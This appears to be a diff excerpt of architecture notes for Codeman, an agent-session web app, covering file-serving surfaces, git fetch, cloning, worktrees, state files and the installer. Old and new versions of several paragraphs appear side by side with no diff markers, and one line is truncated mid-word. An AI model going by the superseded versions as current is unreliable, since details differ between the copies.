[architecture-invariants#file-path-links-terminal--response-viewer](docs/architecture-invariants.md#file-path-links-terminal--response-viewer)
**File-path links (terminal + chat)**: a path an agent prints is clickable on BOTH surfaces and opens the file-preview overlay. ⚠️ ONE pattern (`FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` in constants.js) feeds the xterm link provider AND `_linkifyFilePaths()`, a fresh instance per call (`lastIndex`). Both call `findFilePathLinks()`, which reserves spaced-path spans first (an unlinkable one only while its last word holds a `/`; any label, before an absolute or relative path, must be an explicit path label, prose after that label stays out, and an earlier connective or verb such as `and` or `has` (`SPACED_PATH_PROSE_WORD`) makes any candidate prose; rules and trade-offs in the architecture-invariants paragraph linked below), then adds rooted, `~/`, relative and folder paths without overlapping a reservation, earlier match or URL; a relative path resolves against the pane's live directory `SessionState.paneCwd` when known, else `workingDir` (`relativeResolutionBase()` + `resolveLinkedFilePath`; `paneCwd` is only a BASE, never a confinement root: routing and the file routes still judge against `workingDir`, and remote/docker/direct-PTY/rediscovered sessions never get one, scoped by `paneExitApplies`), `~/` only server-side on the session's host (attachment route), and `terminalPathLine()` joins a path a program hard-wrapped short of the edge. ⚠️ A folder link opens the **folder grid**: `POST /api/sessions/:id/folders` guards + GRANTS the folder (`folder-listing.ts`, own registry, never the 200-capped attachment registry), files come by bare name via `…/folders/:folderId/files/:name/*` through `resolveServableAttachmentPath` plus the same extension/regular-file gate on the symlink's resolved target, so no browser request carries a path; `~/` is refused in a Docker case (the container's home is not this host's). The chat linkifier walks TEXT NODES with DOM APIs, never rebuilds sanitized markup as a string. ⚠️ An out-of-workspace path goes through the ATTACHMENT routes (`POST /api/sessions/:id/attachments` with `notify: false`), never by widening `file-content`/`file-raw` or `file-stream-manager`'s `tail -f` allowlist. An ambiguous parenthesised hard wrap is checked only on activation, original first: only a 404 permits a spaced-path lookup, and only a registered alternative is opened; every other original result uses the normal opener, never an attachment-policy gate on workspace files, and hover performs no lookup. ⚠️ `TEXT_ATTACHMENT_EXTENSIONS` IS `EDITABLE_EXTENSIONS` (never a second list), and widening READ must never widen RUN: `html`/`htm`/`svg` stay download-only, other text is inert `text/plain`+`nosniff`. ⚠️ The ONE place HTML renders is `/html-view/<cap>/...` (`html-view-routes.ts`, `html-view-capabilities.ts`): `POST /api/sessions/:id/html-view` mints a capability for the file's own directory, every response carries `Content-Security-Policy: sandbox` WITHOUT `allow-same-origin` (opaque origin even as a top-level tab, so the page can never read Codeman or drive its API) and with NO fetch directive (open network, owner decision 2026-10-13: never restrict it or add `allow-same-origin` without the owner), and only non-dot, asset-allowlisted files under that directory are served (GET/HEAD only; capabilities revoked with the web-tab ones on logout). That tree is served recursively, so minting is refused for a hidden directory or a broad root (`isBroadHtmlViewRoot`); the preview renders by default and the **Page** pill (or a refused mint) falls through to the source view and its Edit button. Never serve HTML same-origin anywhere else. Tests: `test/routes/html-view-routes.test.ts`. Media extensions are single-sourced in `attachment-registry.ts`. ⚠️ **XLSX previews parse in the BROWSER**, never on the server; the admission limits that keep a hostile workbook from freezing the worker live in `src/web/CLAUDE.md` (Spreadsheet preview). → [architecture-invariants#file-path-links-terminal--response-viewer](docs/architecture-invariants.md#file-path-links-terminal--response-viewer)
The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLine()` for URL continuations in indented paragraphs and table cells. List markers, bare numbers, version tokens, whole email addresses, labels ending in `:`, measurements and clock times (`45%`, `12.3ms`, `10:00:00`) and a `name=value` field under a URL ending in `/` never continue a URL; a token with only `-`, `_` or `.` is also refused when it carries a call paren (`client.get()`) or ends a sentence (`Done.`). A URL in the last column of a space-aligned table never takes the next row's first cell: a continuation row must start inside the URL's own cell, so a gap of two or more spaces between its indent and where the URL starts on the row above means it is the next record. `terminalCellWrappedPaths()` follows each table cell independently: a fragment carries on into the next row only when it ends its cell on `/` or `-` (where a wrapper breaks a path; codex's cell wrap never breaks at `_`), the continuation row is blank to the left of the cell (a wrapper wraps every column of a table row together, so a label there such as `Entry` or `│ Log │` is the next record, unless a left column's path continued on that row too; a left column of wrapped prose, as in a `Description | Path` table, fills that row as well, so the path beside it keeps its per-row fragment links, the safe direction), the next row's token passes `pathContinuation()`, and the cell is no wider than the one above. So a directory that is a whole cell value (`/home/u/proj` over `config.yaml`, or `/home/u/proj/app/` over a labelled `main.py`) keeps its folder link and the next row keeps its own file link. With no label to tell them apart, a directory written with its trailing slash over a relative path in the same column (`/home/u/proj/src/` over `lib/util.ts`) still joins, a known trade-off: it reads exactly like a wrap at `/`. Accepted paths displace other links on their cells. Full-width divider rows stop `terminalLogicalLine()` stitching for both links and touch selection. OSC 8 links confirm the real target URI before the shared opener runs.
**Filesystem path picker** (Link Existing "Browse" + the mobile keyboard's `📁 Path` key): lazy one-directory browsing via `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` for the tapped file. Inserts the path **without** Enter, so the prompt is never submitted; the sibling `⌫ All` key clears only the unsent prompt and must never send the agent's `/clear`. ⚠️ This is a **second file-serving surface and inherits neither the attachment confinement nor its ownership scoping** — it allowlists Home, `CASES_DIR`, `/mnt/d` and `CODEMAN_FILE_PICKER_ROOTS`, blocks sensitive trees, and rejects symlink escapes **after** `realpath`. ⚠️ The optional `sessionId` is an ownership boundary that must be `canAccessOwned`-checked by hand (it does not go through `findSessionOrFail`), and in multi-user mode a non-admin gets only their own `userSpacePath` as a root: per-user spaces live INSIDE `homedir()`, so a `Home` root exposes every other user's workspace. Previews go through the same global conversion limiter, and Markdown/TXT/JSON are served as inert `text/plain`. → [architecture-invariants#filesystem-path-picker](docs/architecture-invariants.md#filesystem-path-picker)
**Filesystem path picker** (every Add Case "Browse": Link Existing, Create New's custom folder, Clone Repo, Docker; + the mobile keyboard's `📁 Path` key): lazy one-directory browsing via `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` for the tapped file (Docker's Container Workdir picker lists through its own `fetchListing` over `POST /api/docker-cases/browse` instead, so the allowlist, blocked-tree and ownership rules below do not apply to it). A Browse fills its form field; the Path key inserts the path **without** Enter, so the prompt is never submitted; the sibling `⌫ All` key clears only the unsent prompt and must never send the agent's `/clear`. ⚠️ This is a **second file-serving surface and inherits neither the attachment confinement nor its ownership scoping**: it allowlists Home, `CASES_DIR`, `/mnt/d` and `CODEMAN_FILE_PICKER_ROOTS`, blocks sensitive trees, and rejects symlink escapes **after** `realpath`. ⚠️ The optional `sessionId` is an ownership boundary that must be `canAccessOwned`-checked by hand (it does not go through `findSessionOrFail`), and in multi-user mode a non-admin gets only their own `userSpacePath` as a root: per-user spaces live INSIDE `homedir()`, so a `Home` root exposes every other user's workspace. Previews go through the same global conversion limiter, and Markdown/TXT/JSON are served as inert `text/plain`. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing, Create New's custom folder and Clone Repo's parent folder have it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > Create New with no custom folder makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag. → [architecture-invariants#filesystem-path-picker](docs/architecture-invariants.md#filesystem-path-picker)
**File Viewer edit mode** (issue #212): the file-preview overlay edits workspace text files in place — `GET .../file-content?edit=1` + `PUT /api/sessions/:id/file-content`, policy in `src/config/file-editing.ts`. This is a **third file surface and the only one that WRITES**: read-path confinement (realpath + workspace + ownership) plus sensitive/blocked/`.git` denies and an extension **allowlist**; writes are `wx`-temp + rename (no `O_CREAT` anywhere = edit-in-place is structural); optimistic concurrency via sha256 `baseHash` → 409. ⚠️ `edit=1` never truncates and the client must never save a plain-preview buffer (the 500-line truncation would silently delete the rest). ⚠️ CRLF/UTF-8 guards: EOL re-applied server-side, non-UTF-8 refused via round-trip compare. → [architecture-invariants#file-viewer-edit-mode](docs/architecture-invariants.md#file-viewer-edit-mode), `docs/file-viewer-edit-plan.md`
**File Viewer edit mode** (issue #212): the file-preview overlay edits workspace text files in place: `GET .../file-content?edit=1` + `PUT /api/sessions/:id/file-content`, policy in `src/config/file-editing.ts`. This is a **third file surface and the only one that writes file contents** (the path picker's New folder creates folders only): read-path confinement (realpath + workspace + ownership) plus sensitive/blocked/`.git` denies and an extension **allowlist**; writes are `wx`-temp + rename (no `O_CREAT` anywhere = edit-in-place is structural); optimistic concurrency via sha256 `baseHash` → 409. ⚠️ `edit=1` never truncates and the client must never save a plain-preview buffer (the 500-line truncation would silently delete the rest). ⚠️ CRLF/UTF-8 guards: EOL re-applied server-side, non-UTF-8 refused via round-trip compare. → [architecture-invariants#file-viewer-edit-mode](docs/architecture-invariants.md#file-viewer-edit-mode), `docs/file-viewer-edit-plan.md`
**Files panel search** (COD-236, the `q` param on `GET /api/sessions/:id/files`): `compileFileQuery()` (`utils/file-query.ts`, pure) compiles the query into a predicate the server-side walk prunes with; a query returns a FLAT match list and the walk recurses past non-matching directories. An empty, whitespace-only or overlong (`MAX_QUERY_LENGTH`, 256) query compiles to `null`, keeping the default tree response byte-identical. ⚠️ **Never compile a glob into a RegExp** (`*a*a*a…` backtracks and freezes the event loop for the whole server): `globMatch()` is a two-pointer wildcard walk. → [architecture-invariants#files-panel-search](docs/architecture-invariants.md#files-panel-search)
**Files panel search** (COD-236, the `q` param on `GET /api/sessions/:id/files`): `compileFileQuery()` (`utils/file-query.ts`, pure) compiles the query into a predicate the server-side walk prunes with; a query returns a FLAT match list and the walk recurses past non-matching directories. An empty, whitespace-only or overlong (`MAX_QUERY_LENGTH`, 256) query compiles to `null`, keeping the default tree response byte-identical. ⚠️ **Never compile a glob into a RegExp** (`*a*a*a…` backtracks and freezes the event loop for the whole server): `globMatch()` is a two-pointer wildcard walk. Tree and search share one walk shape: a per-directory round-robin (breadth-first, so fair per directory, not per subtree) over one 5,000-node budget, where a folder's own files count as one share beside the subfolders it just found (`walkTurnEnd()`). ⚠️ That budget caps what is LISTED, never what is read: a read keeps only what the listing can use (`readWalkFolder()`) and `MAX_WALK_ENTRIES_READ` (250,000) stops opening folders, or one GET reads the whole workspace into memory. ⚠️ A folder below the walk's root is probed (#516) before its `readdir`, and anything but `directory` is skipped unflagged. ⚠️ A directory has its node before it is read, so every cursor still queued or unread when the walk ends must get `incomplete: true` or it reads as an empty folder. → [architecture-invariants#files-panel-search](docs/architecture-invariants.md#files-panel-search)
**Files panel in a worktree** (#765, `src/live-worktree.ts`, `root=live` on `GET /api/sessions/:id/files`): Claude's EnterWorktree moves the process, and `paneCwd` follows it (tmux reads the process cwd, measured on 2.1.318, back out on ExitWorktree too), while `workingDir` stays the session's identity. `refreshLiveWorktree()` (server.ts) turns a changed `paneCwd` into `SessionState.liveWorktree` by reading the `.git` FILE (never spawning git), walking up and stopping at `workingDir`, a repository or submodule of its own, or anything unreadable. ⚠️ The security argument has two halves. The lookup only ever answers a folder strictly below `workingDir`, but that is a LEXICAL judgement made when the pane moves, and a symlink can replace the folder or a parent later without moving the pane, so `root=live` re-checks on every request (`canWalkLiveWorktree()`, file-routes.ts: walk the worktree only when it resolves strictly inside the resolved `workingDir`, else walk `workingDir`). The walk starts there, returned `path`s stay relative to `workingDir`, and the routes keep confining to `workingDir`, so never make `liveWorktree` a confinement root (a worktree outside the folder stays unfollowed). ⚠️ Only that check uses resolved paths: the walk keeps the session's spelling, or a workspace reached through a symlink stops producing paths relative to `workingDir`. ⚠️ A plain subfolder is deliberately no answer, or a `cd` in a shell would re-root the panel. ⚠️ A listing reports `worktree` whichever folder it walked, even when the worktree has gone or the check refused it: `_followFileBrowserWorktree()` compares that with the session's state, and an absent report would reload forever. Tests: `test/live-worktree.test.ts`, `test/routes/file-routes-live-worktree.test.ts`, `test/file-browser-worktree.test.ts`. → [architecture-invariants#files-panel-in-a-worktree](docs/architecture-invariants.md#files-panel-in-a-worktree)
**Git status indicator** (`showGitStatus`, per-device, default OFF; `src/git-workspace-status.ts`, `routes/git-status-routes.ts`, `git-status-ui.js`): the bottom-bar indicator and its panel read `GET /api/sessions/:id/git-status` and `/git-diff`, read-only and offline on its own (it never fetches; fetching is the separate path below). ⚠️ git never runs on a repository at or inside a Docker case workspace (walk-up, scan and diff alike, and a cached repository list is re-checked against the CURRENT Docker roots), since a container could plant a clean filter that runs on the host; remote and Docker sessions answer `unsupported`. ⚠️ `git-diff` takes `repo`/`path`/`kind` only as keys matched against the workspace's own repository list (`findWorkspaceRepo()`) and that repository's current status, never as paths. ⚠️ Keep `--no-optional-locks`, `core.fsmonitor=false` and `log.showSignature=false` on every call and `--no-ext-diff --no-textconv` on diffs; clean filters still run, which is why the Docker rule exists. ⚠️ An enclosing repository at `$HOME` or above is ignored (`isUnrelatedAncestor()`), and is identified by one cached `rev-parse` before any full status runs. Everything git supplies renders via `textContent`. Tests: `test/git-workspace-status.test.ts`, `test/routes/git-status-routes.test.ts`, and `test/git-status.browser.test.ts` (browser suite, not in the gate).
**Git fetch** (`src/git-fetch.ts`, `src/git-fetch-scheduler.ts`, `routes/git-status-routes.ts`, the panel's **Fetch** button): `POST /api/sessions/:id/git-fetch` is the ONLY git command the Git PANEL runs that WRITES (cloning and worktree management write too, but only when the user asked for them at that moment), and it is the only one that can run later by itself, on a timer, and the only one that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, config commands such as `credential.helper`), which is why it is opt-in and never runs on a timer until the user turns it on. ⚠️ Fetch updates remote-tracking refs only; it must never commit, check out, merge or touch the working tree. ⚠️ It is not as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref`, hence one folder is fetched by at most one run at a time (`fetchWorkspaceOnce` joins a run already going), and `FETCH_CONFIG_ARGS` (`-c core.fsmonitor=false -c maintenance.auto=false -c gc.auto=0`) keeps an unattended fetch from starting a gc in a repository the agent is using. ⚠️ `buildFetchArgs()` is `['fetch', '--quiet']` and must stay verb-invariant (`test/git-fetch.test.ts`); those `-c` overrides are added by the runner, not by `buildFetchArgs()`. ⚠️ The git timeout must reach the whole process TREE, not just the `git` parent: `execFile` signals the parent only, so `runFetch` spawns `detached` and signals the negative pid (SIGTERM, then SIGKILL `FETCH_KILL_ESCALATION_MS` later), and the caller is answered AT the timeout while the group is still dying: that is the point. `test/git-fetch.test.ts` proves it against a local server that never answers, by group membership rather than parentage. A non-zero exit must still reject the way `execFile` would, or a real failure reads as a clean run with no reason. ⚠️ The same Docker rule as above applies BEFORE any git runs (a repository at or inside a Docker case workspace is refused), and remote sessions answer `unsupported`. ⚠️ Keep it non-interactive (`gitNonInteractiveEnv()`: `GIT_TERMINAL_PROMPT=0` + BatchMode ssh) or a fetch hangs on an invisible login prompt, but that BatchMode ssh is a DEFAULT, never an override: `fetchEnvFor` must not overwrite the repository's `core.sshCommand`, the user's own `GIT_SSH_COMMAND` or a `GIT_SSH` (`readRepoSshCommand` reads it inside the same limiter slot and the same wall-clock bound as the fetch it serves, and the spawn gets only what the read left), and `StrictHostKeyChecking=accept-new` writes an unknown host key into `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. Keep it bounded: `MAX_REPOS`/`MAX_REPOS_LIMIT` (12/50), `MAX_FETCH_OUTPUT_BYTES` (2 MB), the git timeout per spawn, and `FETCH_CONCURRENCY` (4) as ONE `Limiter` shared by the fetches of the whole tick: `createLimiter` keeps its count in the closure, so a limiter that delegated to `mapLimited` per call bounds each call, and 4 folders × 4 repositories would start 16 git processes. ⚠️ One semaphore cannot bound both the folders and the fetches: a folder holding a slot would then wait for a slot its own fetch needs, so the tick bounds its folders with `mapLimited` and hands the shared bound to every run. ⚠️ Failure text reaching a client is control-stripped and credential-redacted (`sanitizeGitOutput`) and the browser writes it with `textContent`. Scheduler semantics: settings are read fresh each tick (`GIT_FETCH_TICK_INTERVAL_MS`, 15 s), a per-session override wins even while the app-wide switch is off, the interval is timed from the run START, state is keyed by FOLDER (sessions sharing one folder are the same clone, so one run serves them all, the schedule is stamped at selection, and every session on a folder is remembered, a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins (both orders are tested), and the folder is probed once for the whole group rather than once per session on it: closing the one that holds the override must not stop the folder's fetching while another session is still open on it), a tick is skipped while the previous one is still going, and a user-chosen folder is probed BOUNDED with the default options before anything runs (rule #516: `unknown` is never read as `absent`). ⚠️ The two settings (`gitFetchEnabled`, `gitFetchIntervalSeconds`, off/300 by default, clamped 30–3600) are **synced**, not per-device: they must stay out of `displayKeys` and out of the strip destructure in settings-ui.js, or the scheduler reads nobody's value. Per-session state rides `SessionUpdated` (no new SSE event) as `gitFetch`, and the click route publishes the run's trigger, not the request's: `trigger: 'click'` only when the click was the run, because a click that joined a tick already going fetched nothing and cannot report itselLine truncated
**Edit history panel** (`showEditHistory`, per-device, default OFF; issue #643): which files a claude session (local or remote SSH) edited, with diffs and the images a Bash call produced, read from its transcripts. ⚠️ **Reads only on request:** only the open panel triggers a read (`?sync=1`); the server never syncs on its own (no hook, timer or second watcher; wiring-guard test). ⚠️ **The store holds secrets** (every diff): 0600 under `dataPath('edit-history')`, bounded per session, deleted with the session's record, blocked in `isSensitivePath`, never fed to `/api/search`. ⚠️ **Images only through the existing file surfaces** (`file-raw` in the workspace, the attachment route outside it); no route here serves a transcript-supplied path, and such paths are probed only through `probePathKind()`, a remote session's only through `remoteProbePaths()`. ⚠️ **Remote reads never wake a host:** only the bounded ssh read path of `remote-files.ts`, a sleeping host answers `unavailable` (wiring-guard test). Docker, non-claude and adopted sessions answer `unsupported`. → [architecture-invariants#edit-history-panel](docs/architecture-invariants.md#edit-history-panel)
**Raw file bodies are streamed and range-aware**: `file-raw`, the attachments `/raw` route, `GET /api/download` and the rendered-HTML route `GET /html-view/<cap>/...` share `sendFileBody()`, advertise `Accept-Ranges: bytes` and answer `Range` with `206` + `Content-Range` (single-range, parser in `src/web/http-range.ts`); without it `<video>` cannot seek. The size cap (`MAX_FILE_DOWNLOAD_BYTES`, default 2GB, env `CODEMAN_MAX_DOWNLOAD_BYTES`, `0` = unlimited) is a sanity bound, not memory protection; never reintroduce a whole-file buffer. ⚠️ Bodies go out via `reply.hijack()`, so `sendRawStream` must copy the status onto `reply.raw` by hand or a partial body ships as `200`. ⚠️ Closing the preview must pause and unload media (`_stopFilePreviewMedia`), since a detached `HTMLMediaElement` keeps playing. → [architecture-invariants#raw-file-bodies-streamed-and-range-aware](docs/architecture-invariants.md#raw-file-bodies-streamed-and-range-aware)
**Ultracode / workflow-run visualization** (opt-in, default OFF): the Workflow tool writes a completion artifact only at run *end*, so live in-flight runs exist solely as transcript dirs. `workflow-run-watcher.ts` therefore synthesizes ACTIVE runs from transcripts until the completion artifact appears and supersedes them. It is **STANDALONE** and deliberately never imports or touches `subagent-watcher.ts`, despite reading the same tree. Two independent toggles: `showUltracodeAgents` (docked panel) and `ultracodeFloatingWindows` (floating windows); the watcher starts if **either** is on. → [architecture-invariants#ultracode-and-workflow-run-visualization](docs/architecture-invariants.md#ultracode-and-workflow-run-visualization)
**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones synchronously into the caller's case space (bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` checks anonymous cloneability and lists refs. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: refuse every `::` form and a leading `-`, spawn only argv arrays with `--` before operands. ⚠️ Stay non-interactive (`gitNonInteractiveEnv()`) or the open request hangs; never collect credentials, refuse `user:password@` URLs. ⚠️ Timeout kills the process GROUP, remove the destination only if this attempt created it, and repo contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo `.claude/settings*` warned about). → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones synchronously into the caller's case space (bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` checks anonymous cloneability and lists refs. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: refuse every `::` form and a leading `-`, spawn only argv arrays with `--` before operands. ⚠️ Stay non-interactive (`gitNonInteractiveEnv()`) or the open request hangs; never collect credentials, refuse `user:password@` URLs. ⚠️ Timeout kills the process GROUP, remove the destination only if this attempt created it, and repo contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo `.claude/settings*` warned about). ⚠️ A `path` is the folder cloned INTO (the API adds no case-name subfolder; the Clone Repo tab's custom folder is a PARENT, so the page sends `<folder>/<case name>` through `_cloneTargetPath()`, as Create New does through `_newCaseTargetPath()`) and registers a linked case: admin-only in multi-user mode, judged by `prepareNewCasePath()`, empty or new only; an empty one is cloned into directly and never removed, and emptied after a failure only when git really ran and did not refuse it. ⚠️ A destination at or inside a Docker case workspace is refused `400` on both branches: git would run the new repository's hooks and filters on the host. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
**Git worktrees of a case** (case picker → **Git worktrees…**; `src/git-worktrees.ts`, `routes/worktree-routes.ts`): a local repository case keeps worktrees at `<repo>/.claude/worktrees/<name>` on `worktree-<name>`, Claude Code's own `--worktree` layout. ⚠️ Only that managed path is ever created or removed, every component `lstat`ed and realpath-checked (a symlinked `.claude` is refused). ⚠️ git never runs for a Docker or remote case, nor at or inside a Docker workspace (`worktree add` runs hooks and filters on the host). ⚠️ Remove is `git worktree remove` WITHOUT `--force`, refused while a live session is inside; branch delete is `-d`, never `-D`. ⚠️ Sessions start through the existing create paths (quick-start `worktree`, or `POST /api/sessions` `workingDir`), never a new spawn path. → [architecture-invariants#git-worktrees-of-a-case](docs/architecture-invariants.md#git-worktrees-of-a-case)
@@ -315,7 +326,7 @@ One module per domain in `src/web/routes/` (plus a barrel; `ls src/web/routes/`
## State Files
All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) and `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back; both installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all three installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
**Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
@@ -380,6 +391,6 @@ Two constraints worth knowing before you touch them: the env-derived PTY buffer
## Scripts & Tunnel
**`install.sh`** (repo root) is the public `curl | bash` installer: it installs Node/tmux/git/build tools, clones to `~/.codeman/app`, builds, and offers a systemd/launchd service, asking every question BEFORE the unattended build (log in `~/.codeman/install.log`). Network access is Tailscale / LAN / local-only; re-runs preserve the existing binding AND password (`read_existing_binding()`). ⚠️ Compose the hand-start env only in `start_command_hint`/`export_bind_env`, and call `stop_background_helpers` before `exec`. ⚠️ Tailscale rename is opt-in (default NO, never under `--yes`/non-interactive); NEVER `tailscale serve reset`, touch a mapping it did not create, run `tailscale funnel` or advertise a Service (`test/install-sh-invariants.test.ts`). ⚠️ Stay **bash 3.2** clean (no `declare -A`, `mapfile`, namerefs, `${x,,}`, here-strings, empty-array expansion under `set -u`). ⚠️ Execute only commands from the generated CLI block (`CLI_INSTALL_CMD_TRUSTED`, `npm run generate:cli-catalog`). → [architecture-invariants#installsh-the-public-installer](docs/architecture-invariants.md#installsh-the-public-installer)
**`install.sh`** (repo root) is the public `curl | bash` installer: it installs Node/tmux/git/build tools, clones to `~/.codeman/app`, builds, and offers a systemd/launchd service, asking every question BEFORE the unattended build (log in `~/.codeman/install.log`). Network access is Tailscale / LAN / local-only; re-runs preserve the existing binding AND password (`read_existing_binding()`). ⚠️ Compose the hand-start env only in `start_command_hint`/`export_bind_env`, and call `stop_background_helpers` before `exec`. ⚠️ Tailscale rename is opt-in (default NO, never under `--yes`/non-interactive); NEVER `tailscale serve reset`, touch a mapping it did not create, run `tailscale funnel` or advertise a Service (`test/install-sh-invariants.test.ts`). ⚠️ **No-admin route** (`--no-admin` / `CODEMAN_NO_ADMIN`, taken by itself when the account has no administrator rights): Node.js (nodejs.org, checked against `SHASUMS256.txt`) and tmux (`tmux/tmux-builds`, digests pinned in `tmux_build_sha256`: bump `TMUX_BUILD_VERSION` and all four together) go into `~/.codeman/runtime`, and without a working git the source is an archive that updates by a re-run (built beside the old tree, swapped in after the build). Nothing in that section may run `sudo`, Homebrew or `xcode-select --install`, a download is verified before it is unpacked, the route is never decided by `sudo -v`, `/usr/bin/git` on a Mac is never executed before `xcode-select -p` proves the developer tools, and `no_admin_blocker` stops BEFORE the first download for what it cannot supply (a Linux toolchain, macOS below 15). ⚠️ Stay **bash 3.2** clean (no `declare -A`, `mapfile`, namerefs, `${x,,}`, here-strings, empty-array expansion under `set -u`). ⚠️ Execute only commands from the generated CLI block 